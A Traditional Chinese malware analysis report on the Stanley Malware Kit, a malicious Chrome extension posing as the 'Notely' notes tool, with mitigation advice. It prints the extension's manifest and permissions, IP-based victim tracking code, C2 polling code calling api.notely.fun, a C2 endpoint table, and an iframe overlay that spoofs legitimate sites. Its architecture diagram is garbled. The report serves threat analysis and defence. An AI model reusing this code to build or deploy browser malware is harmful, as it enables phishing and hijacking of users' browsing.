摘要
這份報告針對 Stanley Malware Kit 提供深入的技術分析,這是一種複雜的瀏覽器型威脅,利用 Chrome 擴充功能進行惡意活動。分析深入探討其運作機制,包括偽裝散佈、透過 IP 位址進行獨特的受害者識別、命令與控制通訊,以及使用 iframe 覆蓋層的進階網站偽造技術。報告針對 Stanley 的技術細節進行剖析,並探討其設計及潛在的防範策略。
1. 簡介
網路威脅的態勢不斷演進,瀏覽器型攻擊因其能利用使用者信任與瀏覽器功能而日益盛行。Stanley Malware Kit 代表了該領域的一項顯著演進,作為一種售價約 6,000 美元的商業工具包運作。它主要透過惡意 Chrome 擴充功能鎖定使用者,偽裝成合法工具以取得初始存取並建立持久性 [1] 。簡介概述了報告的範圍,著重於 Stanley 運作的技術層面及其對瀏覽器安全性的影響。
2. 運作機制與技術拆解
2.1. 偽裝散佈與初始存取
Stanley Malware Kit 藉由偽裝成合法的 Chrome 擴充功能(如「Notely」,一款極簡的筆記與書籤工具)來取得初始存取。這種合法功能可作為請求大量權限的掩護,並在 malicious payload 運作之前協助累積正面評價 [1] 。擴充功能的 manifest 檔案揭露了賦予其對受害者瀏覽環境強大控制權的關鍵權限:
- {
- "name": "Notely",
- "description": "Notely is a minimalistic extension for quick notes and bookmarks right in the browser.",
- "version": "1.0"
- }
所要求的權限特別廣泛,包括 `tabs`、`webNavigation`、`storage`、`notifications` 與 `scripting`,並配合 `<all_urls>` 主機權限。此組合允許擴充功能控制受害者造訪的每個網站。`document_start` 插入時機確保了惡意程式碼在任何合法頁面內容載入前執行,使其效力最大化 [1] 。
- {
- "permissions": [
- "tabs",
- "webNavigation",
- "storage",
- "notifications",
- "scripting"
- ],
- "host_permissions": [
- "<all_urls>"
- ],
- "content_scripts": [
- {
- "matches": [
- "<all_urls>"
- ],
- "js": [
- "content.js"
- ],
- "run_at": "document_start"
- }
- ]
- }
2.2. 受害者識別與追蹤
不同於產生隨機識別碼的一般惡意軟體,Stanley 利用受害者的 IP 位址作為唯一的追蹤 ID。此方法使 Threat actor 能透過 IP 位址鎖定特定個人或群體,關聯跨多個裝置的使用者活動,並實施具地理針對性的釣魚活動 [1] 。負責此功能的 JavaScript 程式碼如下:
- class ExtensionIdManager {
- static async generateId() {
- try {
- const response = await fetch("[https://api.ipify.org?format=json](https://api.ipify.org?format=json)");
- const data = await response.json();
- if (data && data.ip && typeof data.ip === "string") {
- return data.ip;
- } else {
- return "unknown_ip";
- }
- } catch (error) {
- return "unknown_ip";
- }
- }
- }
2.3. 命令與控制 (C2) 通訊
Stanley Malware Kit 建立了一種持久的 polling 機制來與其 C2 伺服器通訊。這涉及每 10 秒向 C2 伺服器報到,以接收指令並傳送竊取的資料。主要的 C2 網域為 `api.notely.fun`,但該工具包還納入了備用網域輪換機制,即使主要的 C2 伺服器被拆除,也能維持運作連續性 [1] 。核心通訊邏輯如下列程式碼片段所示:
- const API_URL = "http://api.notely.fun/api";
- const CHECK_INTERVAL = 10000;
- class NotesSyncManager {
- static async check() {
- try {
- const extensionId = await ExtensionIdManager.initialize();
- if (!extensionId || typeof extensionId !== "string") {
- setTimeout(() => this.check(), CHECK_INTERVAL);
- return;
- }
- await this.syncNotesActivity(extensionId);
- const data = await this.syncBookmarksAccess(extensionId);
- if (data && !data.notFound && data.forceNotification) {
- const bookmarksList = data.bookmarks || data.redirects || [];
- await this.handleBookmarkNotification({
- url: data.url,
- title: data.title,
- forceNotification: data.forceNotification,
- bookmarks: bookmarksList,
- });
- }
- } catch {
- // ignore
- } finally {
- // ... additional error handling and location monitoring
- }
- }
- }
C2 通訊涉及數個用於不同目的的端點,如下表摘要 [1] :
| 端點 | Method | 目的 |
|---|---|---|
| /extension/{ip}/bookmarks-access | GET | 接收 URL hijacking 指令 |
| /extension/{ip}/notes-sync | POST | Heartbeat / check-in |
| /extension/{ip}/notification-delivered | POST | 確認攻擊已送達 |
| /backup-domains/active | GET | 獲取備用 C2 網域 |
2.4. 透過 Iframe 覆蓋層進行網站偽造
Stanley Malware Kit 最關鍵的攻擊向量是其複雜的網站偽造技術。當受害者瀏覽至目標網站時,該擴充功能會攔截頁面載入事件,並疊加一個全螢幕的 iframe,其中包含攻擊者的釣魚頁面。這透過阻止原始頁面載入,並注入一個覆蓋整個視窗的動態建立 iframe 來實現。至關重要的是,瀏覽器的 URL 欄位仍會顯示合法網域,欺騙受害者使其相信自己在真實網站上,而實際上是在與惡意複製品互動 [1] 。此覆蓋機制的 JavaScript 程式碼如下:
- function previewPageForNotes(url) {
- const preventNavigation = (e) => {
- e.preventDefault();
- e.stopPropagation();
- e.stopImmediatePropagation();
- return false;
- };
- window.addEventListener("beforeunload", preventNavigation, true);
- window.addEventListener("unload", preventNavigation, true);
- hideOriginalContent();
- const existingIframe = document.getElementById("substitute-iframe");
- if (existingIframe) {
- existingIframe.remove();
- }
- const iframe = document.createElement("iframe");
- iframe.id = "substitute-iframe";
- iframe.setAttribute("sandbox", "allow-same-origin allow-scripts allow-forms allow-popups");
- iframe.style.cssText = ` position: fixed !important; top: 0 !important; left: 0 !important; width: 100vw !important; height: 100vh !important; border: none !important; z-index: 999999 !important; `;
- document.body.appendChild(iframe);
- iframe.src = url;
- // ... additional error handling and location monitoring
- }
3. 架構概覽
Stanley Malware Kit 的整體架構可以視覺化為一系列相互連接的組件,從初始感染到執行釣魚攻擊。下圖說明了流程:
with Notely Extension] --> B(Extension
Manifest & Permissions) B --> C(Content Script Injection
-
document_start) C --> D(IP Address as Unique ID
-
api.ipify.org) C --> E(Persistent C2 Polling
-
api.notely.fun) E --> F(Backup Domain Rotation) C --> G(Website Spoofing
via Iframe Overlay) G --> H(Phishing Page Displayed) G --> I(Legitimate URL Bar) H --> J(Victim Interaction) J --> E style A fill:#f9f,stroke:#333,stroke-width:2px style B fill:#bbf,stroke:#333,stroke-width:2px style C fill:#bbf,stroke:#333,stroke-width:2px style D fill:#bbf,stroke:#333,stroke-width:2px style E fill:#bbf,stroke:#333,stroke-width:2px style F fill:#bbf,stroke:#333,stroke-width:2px style G fill:#bbf,stroke:#333,stroke-width:2px style H fill:#f9f,stroke:#333,stroke-width:2px style I fill:#f9f,stroke:#333,stroke-width:2px style J fill:#f9f,stroke:#333,stroke-width:2px
4. 相關研究與緩解策略
近期也有針對瀏覽器型威脅和釣魚技術的相關研究,例如,對惡意 npm 套件與利用 CDN 的重新導向攻擊的分析,突顯了類似的欺騙性散佈與 payload 遞送機制 [2] 。該研究中討論的 JavaScript 內容與釣魚基礎設施的技術機制,與 Stanley 的運作策略產生共鳴,特別是它如何利用用戶端腳本進行惡意導向與內容操縱。另一個相關研究領域涉及進階持續性威脅 (APTs) 及其對複雜規避技術的使用,例如在 ResolverRAT 中看到的 DLL side-loading 與反分析檢查 [3] 。儘管執行方式不同,但規避偵測與維持持久性的潛在目標在這些進階威脅中是一致的。
針對此類複雜瀏覽器型惡意軟體的緩解策略需要採取多層次方法。使用者在安裝瀏覽器擴充功能時應極度謹慎,驗證其合法性及要求的權限。企業應實施強大的端點偵測與回應 (EDR) 解決方案、網路流量分析以及資安意識培訓,以教育使用者了解釣魚與社交工程策略。此外,瀏覽器廠商不斷更新其安全功能以對抗此類威脅,因此使用者將瀏覽器更新至最新版本至關重要。
5. 結論
Stanley Malware Kit 體現了瀏覽器型威脅日益增長的複雜性。它能夠偽裝成合法擴充功能、採用獨特的受害者識別、維持持久的 C2 通訊,並透過 iframe 覆蓋層執行高度欺騙性的網站偽造,對網路安全構成了重大挑戰。對其技術機制的深入了解(如報告所述)對於開發有效的偵測與緩解策略至關重要。在防禦此類強大且適應性強的惡意軟體工具包時,持續保持警惕、採用進階安全解決方案以及使用者教育仍然是首要任務。